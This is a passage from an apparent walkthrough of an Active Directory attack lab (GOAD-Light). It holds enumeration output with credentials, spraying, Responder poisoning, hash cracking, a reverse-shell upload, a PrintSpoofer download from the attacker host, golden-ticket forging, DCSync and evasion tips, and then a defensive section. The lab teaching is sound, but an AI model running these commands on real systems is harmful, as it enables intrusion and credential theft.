unauthenticated SMB session on 445/tcp<br>[+] Found OS information via SMB<br>[*] Enumerating via &#39;srvinfo&#39;<br>[-] Could not get OS info via &#39;srvinfo&#39;: STATUS_ACCESS_DENIED<br>[+] After merging OS information we have the following result:<br>OS: Windows 10, Windows Server 2019, Windows Server 2016                         <br>OS version: &#39;10.0&#39;                                                               <br>OS release: &#39;1809&#39;                                                               <br>OS build: &#39;17763&#39;                                                                <br>Native OS: not supported                                                         <br>Native LAN manager: not supported                                                <br>Platform id: null                                                                <br>Server type: null                                                                <br>Server type string: null                                                         <br> ======================================<br>|    Users via RPC on 192.168.56.11    |<br> ======================================<br>[*] Enumerating users via &#39;querydispinfo&#39;<br>[+] Found 10 user(s) via &#39;querydispinfo&#39;<br>[*] Enumerating users via &#39;enumdomusers&#39;<br>[+] Found 10 user(s) via &#39;enumdomusers&#39;<br>[+] After merging user results we have 10 user(s) total:<br>&#39;1110&#39;:                                                                          <br>  username: arya.stark                                                           <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: Arya Stark                                                        <br>&#39;1114&#39;:                                                                          <br>  username: sansa.stark                                                          <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: Sansa Stark                                                       <br>&#39;1115&#39;:                                                                          <br>  username: brandon.stark                                                        <br>  name: (null)                                                                   <br>  acb: &#39;0x00010210&#39;                                                              <br>  description: Brandon Stark                                                     <br>&#39;1116&#39;:                                                                          <br>  username: rickon.stark                                                         <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: Rickon Stark                                                      <br>&#39;1117&#39;:                                                                          <br>  username: hodor                                                                <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: Brainless Giant                                                   <br>&#39;1118&#39;:                                                                          <br>  username: jon.snow                                                             <br>  name: (null)                                                                   <br>  acb: &#39;0x00040210&#39;                                                              <br>  description: Jon Snow                                                          <br>&#39;1119&#39;:                                                                          <br>  username: samwell.tarly                                                        <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: &#39;Samwell Tarly (Password : Heartsbane)&#39; #Nice !                   <br>&#39;1120&#39;:                                                                          <br>  username: jeor.mormont                                                         <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: Jeor Mormont                                                      <br>&#39;1121&#39;:                                                                          <br>  username: sql_svc                                                              <br>  name: (null)                                                                   <br>  acb: &#39;0x00000210&#39;                                                              <br>  description: sql service                                                       <br>&#39;501&#39;:                                                                           <br>  username: Guest                                                                <br>  name: (null)                                                                   <br>  acb: &#39;0x00000215&#39;                                                              <br>  description: Built-in account for guest access to the computer/domain          <br> =======================================<br>|    Groups via RPC on 192.168.56.11    |<br> =======================================<br>[*] Enumerating local groups<br>[+] Found 6 group(s) via &#39;enumalsgroups domain&#39;<br>[*] Enumerating builtin groups<br>[+] Found 21 group(s) via &#39;enumalsgroups builtin&#39;<br>[*] Enumerating domain groups<br>[+] Found 11 group(s) via &#39;enumdomgroups&#39;<br>[+] After merging groups results we have 38 group(s) total:<br>&#39;1102&#39;:                                                                          <br>  groupname: DnsAdmins                                                           <br>  type: local                                                                    <br>&#39;1103&#39;:                                                                          <br>  groupname: DnsUpdateProxy                                                      <br>  type: domain                                                                   <br>&#39;1106&#39;:                                                                          <br>  groupname: Stark                                                               <br>  type: domain                                                                   <br>&#39;1107&#39;:                                                                          <br>  groupname: Night Watch                                                         <br>  type: domain                                                                   <br>&#39;1108&#39;:                                                                          <br>  groupname: Mormont                                                             <br>  type: domain                                                                   <br>&#39;1109&#39;:                                                                          <br>  groupname: AcrossTheSea                                                        <br>  type: local                                                                    <br>&#39;513&#39;:                                                                           <br>  groupname: Domain Users                                                        <br>  type: domain                                                                   <br>&#39;514&#39;:                                                                           <br>  groupname: Domain Guests                                                       <br>  type: domain                                                                   <br>&#39;515&#39;:                                                                           <br>  groupname: Domain Computers                                                    <br>  type: domain                                                                   <br>&#39;517&#39;:                                                                           <br>  groupname: Cert Publishers                                                     <br>  type: local                                                                    <br>&#39;520&#39;:                                                                           <br>  groupname: Group Policy Creator Owners                                         <br>  type: domain                                                                   <br>&#39;522&#39;:                                                                           <br>  groupname: Cloneable Domain Controllers                                        <br>  type: domain                                                                   <br>&#39;525&#39;:                                                                           <br>  groupname: Protected Users                                                     <br>  type: domain                                                                   <br>&#39;526&#39;:                                                                           <br>  groupname: Key Admins                                                          <br>  type: domain                                                                   <br>&#39;545&#39;:                                                                           <br>  groupname: Users                                                               <br>  type: builtin                                                                  <br>&#39;546&#39;:                                                                           <br>  groupname: Guests                                                              <br>  type: builtin                                                                  <br>&#39;553&#39;:                                                                           <br>  groupname: RAS and IAS Servers                                                 <br>  type: local                                                                    <br>&#39;554&#39;:                                                                           <br>  groupname: Pre-Windows 2000 Compatible Access                                  <br>  type: builtin                                                                  <br>&#39;555&#39;:                                                                           <br>  groupname: Remote Desktop Users                                                <br>  type: builtin                                                                  <br>&#39;556&#39;:                                                                           <br>  groupname: Network Configuration Operators                                     <br>  type: builtin                                                                  <br>&#39;558&#39;:                                                                           <br>  groupname: Performance Monitor Users                                           <br>  type: builtin                                                                  <br>&#39;559&#39;:                                                                           <br>  groupname: Performance Log Users                                               <br>  type: builtin                                                                  <br>&#39;560&#39;:                                                                           <br>  groupname: Windows Authorization Access Group                                  <br>  type: builtin                                                                  <br>&#39;561&#39;:                                                                           <br>  groupname: Terminal Server License Servers                                     <br>  type: builtin                                                                  <br>&#39;562&#39;:                                                                           <br>  groupname: Distributed COM Users                                               <br>  type: builtin                                                                  <br>&#39;568&#39;:                                                                           <br>  groupname: IIS_IUSRS                                                           <br>  type: builtin                                                                  <br>&#39;569&#39;:                                                                           <br>  groupname: Cryptographic Operators                                             <br>  type: builtin                                                                  <br>&#39;571&#39;:                                                                           <br>  groupname: Allowed RODC Password Replication Group                             <br>  type: local                                                                    <br>&#39;572&#39;:                                                                           <br>  groupname: Denied RODC Password Replication Group                              <br>  type: local                                                                    <br>&#39;573&#39;:                                                                           <br>  groupname: Event Log Readers                                                   <br>  type: builtin                                                                  <br>&#39;574&#39;:                                                                           <br>  groupname: Certificate Service DCOM Access                                     <br>  type: builtin                                                                  <br>&#39;575&#39;:                                                                           <br>  groupname: RDS Remote Access Servers                                           <br>  type: builtin                                                                  <br>&#39;576&#39;:                                                                           <br>  groupname: RDS Endpoint Servers                                                <br>  type: builtin                                                                  <br>&#39;577&#39;:                                                                           <br>  groupname: RDS Management Servers                                              <br>  type: builtin                                                                  <br>&#39;578&#39;:                                                                           <br>  groupname: Hyper-V Administrators                                              <br>  type: builtin                                                                  <br>&#39;579&#39;:                                                                           <br>  groupname: Access Control Assistance Operators                                 <br>  type: builtin                                                                  <br>&#39;580&#39;:                                                                           <br>  groupname: Remote Management Users                                             <br>  type: builtin                                                                  <br>&#39;582&#39;:                                                                           <br>groupname: Storage Replica Administrators                                        <br>type: builtin                                                                  <br> =======================================<br>|    Shares via RPC on 192.168.56.11    |<br> =======================================<br>[*] Enumerating shares<br>[+] Found 0 share(s) for user &#39;&#39; with password &#39;&#39;, try a different user<br> ==========================================<br>|    Policies via RPC for 192.168.56.11    |<br> ==========================================<br>[*] Trying port 445/tcp<br>[+] Found policy:<br>Domain password information:                                                     <br>  Password history length: 24                                                    <br>  Minimum password length: 5                                                     <br>  Minimum password age: 1 day 4 minutes                                          <br>  Maximum password age: 37201 days (101 years) 2 minutes                         <br>  Password properties:                                                           <br>  - DOMAIN_PASSWORD_COMPLEX: false                                               <br>  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false                                        <br>  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false                                       <br>  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false                                        <br>  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false                              <br>  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false                                <br>Domain lockout information:                                                      <br>Lockout observation window: 5 minutes                                          Lockout duration: 5 minutes                                                    <br>Lockout threshold: 5                                                           <br>Domain logoff information:                                                       <br>Force logoff time: not set                                                     <br> ==========================================<br>|    Printers via RPC for 192.168.56.11    |<br> ==========================================<br>[-] Could not get printer info via &#39;enumprinters&#39;: STATUS_ACCESS_DENIED</pre><pre># 192.168.56.22 enum<br>$ enum4linux-ng -A 192.168.56.22</pre><pre>ENUM4LINUX - next generation (v1.3.10)<br> ==========================<br>|    Target Information    |<br> ==========================<br>[*] Target ........... 192.168.56.22<br>[*] Username ......... &#39;&#39;<br>[*] Random Username .. &#39;rsbfetir&#39;<br>[*] Password ......... &#39;&#39;<br>[*] Timeout .......... 10 second(s)<br> ======================================<br>|    Listener Scan on 192.168.56.22    |<br> ======================================<br>[*] Checking LDAP<br>[-] Could not connect to LDAP on 389/tcp: connection refused<br>[*] Checking LDAPS<br>[-] Could not connect to LDAPS on 636/tcp: connection refused<br>[*] Checking SMB<br>[+] SMB is accessible on 445/tcp<br>[*] Checking SMB over NetBIOS<br>[+] SMB over NetBIOS is accessible on 139/tcp<br> ============================================================<br>|    NetBIOS Names and Workgroup/Domain for 192.168.56.22    |<br> ============================================================<br>[+] Got domain/workgroup name: NORTH<br>[+] Full NetBIOS names information:<br>- CASTELBLACK     &lt;00&gt; -         M &lt;ACTIVE&gt;  Workstation Service                 <br>- NORTH           &lt;00&gt; - &lt;GROUP&gt; M &lt;ACTIVE&gt;  Domain/Workgroup Name               <br>- CASTELBLACK     &lt;20&gt; -         M &lt;ACTIVE&gt;  File Server Service                 <br>- MAC Address = 00-0C-29-DC-1C-67                                                <br> ==========================================<br>|    SMB Dialect Check on 192.168.56.22    |<br> ==========================================<br>[*] Trying on 445/tcp<br>[+] Supported dialects and settings:<br>Supported dialects:                                                              <br>  SMB 1.0: false                                                                 <br>  SMB 2.0.2: true                                                                <br>  SMB 2.1: true                                                                  <br>  SMB 3.0: true                                                                  <br>  SMB 3.1.1: true                                                                <br>Preferred dialect: SMB 3.0                                                       <br>SMB1 only: false                                                                 <br>SMB signing required: false                                                      <br> ============================================================<br>|    Domain Information via SMB session for 192.168.56.22    |<br> ============================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found domain information via SMB<br>NetBIOS computer name: CASTELBLACK                                               <br>NetBIOS domain name: NORTH                                                       <br>DNS domain: north.sevenkingdoms.local                                            <br>FQDN: castelblack.north.sevenkingdoms.local                                      <br>Derived membership: domain member                                                <br>Derived domain: NORTH                                                            <br> ==========================================<br>|    RPC Session Check on 192.168.56.22    |<br> ==========================================<br>[*] Check for anonymous access (null session)<br>[-] Could not establish null session: STATUS_ACCESS_DENIED<br>[*] Check for guest access<br>[+] Server allows authentication via username &#39;rsbfetir&#39; and password &#39;&#39;<br>[H] Rerunning enumeration with user &#39;rsbfetir&#39; might give more results<br> ================================================<br>|    OS Information via RPC for 192.168.56.22    |<br> ================================================<br>[*] Enumerating via unauthenticated SMB session on 445/tcp<br>[+] Found OS information via SMB<br>[*] Enumerating via &#39;srvinfo&#39;<br>[-] Skipping &#39;srvinfo&#39; run, not possible with provided credentials<br>[+] After merging OS information we have the following result:<br>OS: Windows 10, Windows Server 2019, Windows Server 2016                         <br>OS version: &#39;10.0&#39;                                                               <br>OS release: &#39;1809&#39;                                                               <br>OS build: &#39;17763&#39;                                                                <br>Native OS: not supported                                                         <br>Native LAN manager: not supported                                                <br>Platform id: null                                                                <br>Server type: null                                                                <br>Server type string: null</pre><p><strong>Key findings</strong>:</p><ul><li>FQDNs</li><li>Anonymous logins are accepted</li><li>Ports 445, 139, 636, 389 are open</li><li>Access to the server by username ‘rsbfetir’ (any random username) and no pass</li><li>Full NetBIOS names</li><li>Password of user <em>samwell.tarly</em></li></ul><h3>Enumeration (Internal)</h3><p>Since the <em>kingslanding</em> DC accepts anonymous login, and we found the credentials of user <em>samwell.tarly</em> in the description, lets try singing in and enumerate the AD using <strong>Netexec</strong> &amp; <strong>Bloodhound</strong> to map the AD.</p><pre># Testing Anonymous login<br>nxc smb 192.168.56.10 -u &#39;&#39; -p &#39;&#39;<br>SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\: </pre><pre># Lets enumerate using the user we found<br>certipy find -u samwell.tarly -p Heartsbane -dc-ip 192.168.56.10<br>certipy find -u samwell.tarly -p Heartsbane -dc-ip 192.168.56.11</pre><pre># This is the summary of the results<br># DC01 resutls<br> [+] User Enrollable Principals      : SEVENKINGDOMS.LOCAL\Domain Users<br>    [!] Vulnerabilities<br>      ESC1                              : Enrollee supplies subject and template allows client authentication.</pre><pre>#DC02 results<br> [!] Vulnerabilities<br>      ESC8                              : Web Enrollment is enabled over HTTP.</pre><p>So now we know there is 2 crucial vulnerabilities we can take advantage of, we will come back to them later.</p><p>Connected to <strong>DC01</strong> &amp; <strong>DC02</strong> but failed <strong>SRV02</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*z9ZPar4wk54P5RH3.png" /></figure><p>Lets move to using <strong>Bloodhound</strong> for further enumeration.</p><pre>bloodhound-ce-python \                                                           <br>-u &#39;samwell.tarly&#39; \<br>-p &#39;Heartsbane&#39; \<br>-d north.sevenkingdoms.local \  <br>-ns 192.168.56.11 \       <br>-c All</pre><p><strong>Results</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*03TOQt16Qb6ylgNp.png" /></figure><p><strong>Uploaded results to Bloohound</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QESybG6Qa3DEq-x-.png" /></figure><p><strong>North Domain Admins</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bXAZ9-GyXhbqEJhz.png" /></figure><p><strong>Users</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/0*RF8lqK_uTZKAVtZN.png" /></figure><h3>Pass Spraying</h3><p>Lets get to spraying and praying 🔫. Now this part isnt very simple, as we saw during the enumeration, there is a password lockout policy, so we have 5 tries per user before its locked for minutes to try again. We also know that the minimum password character length is 5. First i will try using the same usernames as passwords for each user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/0*FVRBRZWUGukqNanG.png" /></figure><pre># No bruteforce. User 1 --&gt; Password 1, User 2 --&gt; Password 2.<br>netexec smb 192.168.56.11 -u Users.txt -p Pass.txt --no-bruteforce --continue-on-success --log SprayRez.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZRefHsNcbnYq3LEJ.png" /></figure><p>We got it 😮‍💨 . I did not continue spraying cuz after i failed multiple times with default and common credentials lists.</p><h3>LLMNR &amp; NBT-NS Poisoning</h3><p>We know there is two bot users making LLMNR queries every 3 and 5 minutes. With this command, we can check their connections and the protocol they are using.</p><pre>sudo responder -I eth0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9x-YmCTiznIINcBq.png" /></figure><p>After capturing the <strong>NTLMv1</strong>, we use <strong>hashcat</strong> to crack it.</p><pre>hashcat -m 5500 -a 0 NTLMhashes.hashes /usr/share/wordlists/rockyou.txt.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lXRyD18mUeXJfNUj.png" /></figure><p>We got the credentials for <em>robb.stark</em> and just like that, we pwned the <em>Winterfell</em> DC!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qicpkMzPl1lTsa-z.png" /></figure><p>And just like that..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/0*LsEQf0lYS1wkU88j.png" /></figure><p>We got all the credentials for the <em>North</em>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kXEOjT7xPRbGSqX6.png" /></figure><h3>Exploiting MSSQL</h3><p>Now that we got all the credentials, lets see what we can find and use them to our advantage.</p><pre># Cracking the NTLM hashes<br>hashcat -m 1000 -a 0 WINTERFELL.ntds /usr/share/wordlists/rockyou.txt.gz<br># Results <br>31d6cfe0d16ae931b73c59d7e0c089c0:Guest:<br>84bbaa1c58b7f69d2192560a3f932129:brandon.stark:iseedeadpeople<br>e02bc503339d51f71d913c245d35b50b:vagrant:vagrant<br>4f622f4cd4284a887228940e2ff4e709:arya.stark:Needle<br>831486ac7f26860c9e2f51ac91e1a07a:robb.stark:sexywolfy<br>b8d76e56e9dac90539aff05e3ccb1755:jon.snow:iknownothing</pre><p>After checking, <em>jon.snow</em> is the <strong>MSSQL</strong> administrator. Below is the method to exploit the <strong>EXECUTE AS</strong> vulnerability with a regular user.</p><p><strong>NOTE:</strong> You can login with RDP with <strong>xfreerdp3</strong> to the <strong>SRV02</strong> server with any of the users and take advantage of this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JZGq5MUmDDbmGLen.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uPOrWxnMJgIZaC8Y.png" /></figure><p>The user <em>sa</em> has sysadmin privileges which our user lacks. Now, we can impersonate <em>sa</em>.</p><pre>sqlcmd -S &quot;.\SQLEXPRESS&quot; -E -Q &quot;EXECUTE AS LOGIN = &#39;sa&#39;;&quot;</pre><p>Now we have full administrative access on the MSSQL server.</p><h3>Exploiting File Upload</h3><p>Lets first check the <strong>IIS Website</strong> on the IP <strong>192.168.56.22</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RCzalwtgGK5J7_oo.png" /></figure><p>The site has <strong>ASP</strong> and there is a file upload that accepts any file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XOnTDnaedNh_jnQT.png" /></figure><p>Lets enumerate directories on the site to see what we can find</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rOOvEoAUsL6qG4Wk.png" /></figure><p>There is an upload directory, but we got <strong>403</strong>. We can see that the uploaded files go to the <em>upload/</em> folder that we were denied to access previously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/0*npqctjLbgFJspAR8.png" /></figure><p>Lets try getting a <strong>reverse shell</strong>. I got the payload from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20ASP/shell.aspx"><strong>PayLoadAllTheThings</strong></a>. After uploading the file, this is the result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aH4Xmk9FJgJmgORo.png" /></figure><p>But this isnt an interactive shell and we would have to combine commands. I got an amazing payload from <a href="https://www.darknet.org.uk/darknet-archives/#year2014:~:text=InsomniaShell%20%E2%80%93%20ASP.NET%20Reverse%20Shell%20Or%20Bind%20Shell"><strong>Darknet</strong></a> that gives us an interactive shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ERc_NzdiqYYrRFnR.png" /></figure><p>And we are in with <strong>impersonation</strong> enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L30IkjtbsoR_IEP1.png" /></figure><p>We can abuse <strong>SeImpersonatePrivilege</strong> using one of the <a href="https://jlajara.gitlab.io/Potatoes_Windows_Privesc"><strong>Potato</strong></a> techniques or <a href="https://github.com/itm4n/PrintSpoofer"><strong>PrintSpoofer</strong></a>.</p><pre># Terminal 1: Your Attacker machine<br>wget -O Pspoofy.exe &quot;https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe&quot;</pre><pre># Terminal 2: Start local python from inside the directory where you have PrintSpoofer downloaded<br>python3 -m http.server 8080</pre><pre># Terminal 3: The reverse shell machine<br># This is to be executed in powershell</pre><pre>mkdir c:\tmp<br>cd c:\tmp<br>Invoke-WebRequest -Uri &#39;http://192.168.56.99:8080/PSpoofy.exe&#39; -OutFile &#39;C:\tmp\PSpoofy.exe&#39;</pre><pre># Then test your privileges before and after<br>whoami<br># Execute PrintSpoofer<br>.\PSpoofy.exe -i -c cmd.exe</pre><p>And thats it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PGzU0agZw34YSOAN.png" /></figure><h3>Persistence &amp; Lateral Movement (Golden Ticket)</h3><p>We pwned the <em>North</em> domain with <em>jeor.morment</em> as <em>Castleback</em> admin and all 3 admins of <em>Winterfell</em>. Now its time to move on to <em>sevenkingdoms</em>. We know that there is an <strong>ESC1</strong> for <em>sevenkingdoms</em> and <strong>ESC8</strong>. First, lets check if we can login other DCs with the same administrator hash we found</p><pre>nxc smb 192.168.56.10-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --local-auth</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HIC0-EoEjvhZ8LYY.png" /></figure><p>It only worked for <em>Castleback</em>. However, we authenticated locally, lets try the hash on the domain controllers without local authentication.</p><pre>nxc smb 192.168.56.10-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Lpy-O7k2syGeiiA4.png" /></figure><p>So we only have Administrator on the North domain.</p><p>Lets perform a <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/golden-ticket.html"><strong>Golden Ticket</strong></a> attack using the <em>krbtgt</em> of the North domain found in our dump earlier.</p><pre># To get domain SID (In this case, its anonymous loign. If not successful, login with an account to get it)<br>rpcclient -U &quot;&quot; -N 192.168.56.10</pre><pre># Forge the ticket<br>impacket-ticketer -nthash 0f32b298bfa9cd0bcd344f63775b2bd3 -domain-sid S-1-5-21-508423329-115901089-1858097058 -extra-sid S-1-5-21-604280439-1264172327-689438309-519 -domain north.sevenkingdoms.local Administrator</pre><pre># Make the .ccache the default<br>export KRB5CCNAME=/home/kali/AD-GOAD-Light/Creds/Administrator.ccache</pre><pre># Authenticate using the ticket<br>impacket-psexec north.sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local -k -no-pass -debug</pre><p>It executed correctly but there is an issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hDg8ZyeBqXtt1kIb.png" /></figure><p>A few things could be causing this. It could be <strong>Windows Defender</strong>, the .<strong>exe</strong> itself, a communication issue as <strong>RemCom_communicaton</strong> indicated.</p><p>Lets check again with a different protocol</p><pre># SMB Authentication<br>impacket-smbclient north.sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local -k -no-pass </pre><pre># Worked, lets enumerate from inside<br>shares <br>ADMIN$<br>C$<br>CertEnroll<br>IPC$<br>NETLOGON<br>SYSVOL</pre><pre># Use one of them<br>use ADMIN$<br>ls</pre><p>I found nothing interesting navigating through the shares, then it clicked to me, why am i doing this? I dont need a shell directly using the <strong>golden ticket</strong>, i can just DCsync !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*W_heUx4Wgx-fJihf.jpg" /></figure><pre>impacket-secretsdump north.sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local -no-pass -k -just-dc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rm9ELlaWVPFYOdY4.png" /></figure><p>And just like that we have fully taken over the forest!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*OuRRjX4XhQ0Z1yOd.gif" /></figure><p><strong>Tips &amp; Tricks</strong>:</p><ul><li>When forging the ticket, make the user Administrator or a username you know is available on that domain instead of a random user.</li><li>Use <strong>extra-sid</strong> option of the parent domain SID alongside — 519 which is for enterprise admins. Here is a list of Windows <a href="https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet/blob/master/Windows%20SID.md#:~:text=5%2D21root%20domain%2D-,519,-Enterprise%20Admins">SIDs</a> explained.</li><li>For better OPSEC, use <strong>AES</strong> instead of <strong>NTHASH</strong> to avoid Event IDs <strong>4768</strong> &amp; <strong>4769</strong>. Set a manual expiry date instead of the default <strong>10 years</strong>. Use <a href="https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/diamond-ticket.html"><strong>Diamond Ticket</strong></a> if possible.</li><li>Use the golden ticket to DCSync instead of trying to get a shell.</li><li>Sometimes the error you are getting is because of your DNS or VMnet, so ensure they are all working properly.</li><li>Follow a mindmap and use tools instead of being random and all over the place, you will get lost.</li><li>Dont depend on AI too much, it will make you more lost. Try your best first, if you get overwhelmed, take a rest and continue again.</li></ul><p><strong>IMPORTANT</strong>: As you can see i skipped the <strong>ESC1</strong> and <strong>ESC8</strong> in this writeup. The reason for that is the NTLM Relay kept failing numerous times, getting 200 status code instead of 401 and therefore i could not get any certificate from any user from the root domain to perform the <strong>ESC1</strong>, as the template requires a <strong>Domain User</strong> to perform it. Also, the groups <strong>AcrossTheNarrowSea</strong> and <strong>AcrossTheSea</strong> are empty, and there are no users to cross domain in this scenario. The documentation does mention the GOAD-Light lacks cross-forest, so i just ignored them.</p><h3>Post Exploitation</h3><p>Now you have full control and have taken over, whats next? Well, whatever you want. You can add an account, drop a file for persistence, dump information, encrypt the system files with ransomware, the possibilities are endless. This is why security is important, it starts as reaching and unimportant, but the risks after the first breach will make any company regret them overlooking their security.</p><h3>MITRE ATT&amp;CK Mapping</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EVOKdk-iYS0aPcceKD7HzA.png" /><figcaption>MITRE ATT&amp;CK Map For the Tools &amp; Attacks Performed</figcaption></figure><h3>Blue Teaming</h3><p>We were able to gain access and takeover the domains, but whats the defensive POV for that? What logs can be generated when such attack is happening? How can the misconfigurations that were exploited be prevented? What MITRE ATT&amp;CK TTPs were used? We will discuss all that in this section using each one of the attacks we perfromed.</p><h3>Network Reconnaissance</h3><p>This is the first practical step in every red team operation. Our goal isnt to hide the network, but to make it critical services <strong>unreachable</strong>.</p><ul><li>Host-based firewalls.</li><li>Network ACLs.</li><li>VLAN/network segmentation.</li><li>Remove unused services.</li><li>IDS/IPS</li></ul><p><strong>Indicators to lookout for</strong></p><ul><li>High ARP/ICMP/TCP Handshakes In Traffic</li><li>Sysmon IDs</li></ul><p>This is what typical traffic look like during an <strong>nmap</strong> scan using the following command:</p><pre>nmap -sS -sV &lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AXdkEDMy_Qi4_CNK.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UPKBNjEkYBkiDVX5.png" /></figure><h3>SMB / LDAP Enumeration</h3><p>We used <strong>Enum4linux</strong> and got our first foothold into the system. Such services are critical in AD environments and can expose alot.</p><ul><li>Disable anonymous/guest access.</li><li>Restrict regular users from admin privileges.</li><li>Review ACLs on AD objects.</li><li>Remove unused accounts and groups.</li></ul><p>These reduce/prevent enumeration using <strong>BloodHound</strong> or other tools.</p><h3>Password Spraying</h3><p>As this does not seem risky, it could be with the right passwords. Attackers can use passwords found from previous data breaches for the company or the employees. Without the right implementations in place, a very high chance they gain initial access.</p><ul><li>Strong password policy and no password resuse</li><li>MFA</li><li>Banned passwords list</li><li>Disable unused accounts</li><li>Separate privileged accounts from normal user accounts.</li><li>Monitor authentication failures across <strong>many different accounts</strong>.</li></ul><p><strong>Windows EventIDs to lookout for</strong></p><ul><li>4625 — Failed logon</li><li>4771 — Kerberos pre-authentication failed</li><li>4776 — Domain controller attempted to validate credentials</li></ul><p>Remember, attackers dont break in, they <strong>log in</strong>.</p><p><strong>Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kvW59fmnmQdJHCP8.png" /></figure><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WCXZiChgNrDUnSX4.png" /></figure><h3>LLMNR/NBT-NS Poisoning</h3><p>We found 2 credentials and one of them was admin using this. Using downgraded/outdated protocols is very dangerous.</p><ul><li>Upgrade protocols.</li><li>Disable LLMNR.</li><li>Disable unnecessary NBT-NS.</li><li>Disable unnecessary WPAD functionality.</li><li>Enable SMB signing.</li><li>Reduce NTLM usage where possible.</li><li>Prefer Kerberos for domain authentication.</li></ul><p>You can also use <strong>Responder</strong> to detect if there is any traffic being shown as we saw earlier in our red teaming operation.</p><p>This is best detected through <strong>Wireshark</strong>, with our <strong>Responder</strong> poisoning in the background this is what it looks like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pJhPgWDDyK7qvHew.png" /></figure><h3>AS-REP Roasting</h3><p>The main focus is to adjust accounts is where <strong>kerberos pre-authentication</strong> is disabled</p><pre>DONT_REQ_PREAUTH</pre><p>Require <strong>kerberos pre-authentication</strong> then monitor for <strong>AS-REQ</strong> <strong>(4768)</strong> activity.</p><p><strong>Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7eGJshDRVxA0PfOA.png" /></figure><p><strong>Wazuh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gtk1Yfpb39G330iG.png" /></figure><h3>Kerberoasting</h3><p>We cracked multiple hashes offline with <strong>hashcat</strong> this way and one of them was an admin. The main issue is the password quality.</p><ul><li>Use passwords not found in known wordlists/breaches.</li><li>Minimize unnecessary SPNs.</li><li>Remove obsolete service accounts</li><li>Prefer modern Kerberos encryption and eliminate legacy encryption.</li></ul><p>Also monitor for <strong>Kerberos service ticket requests (4769)</strong>.</p><p><strong>Wireshark</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*s_M4qz5Qw49r2H1d.png" /></figure><p><strong>Wazuh</strong></p><figure><img alt="" 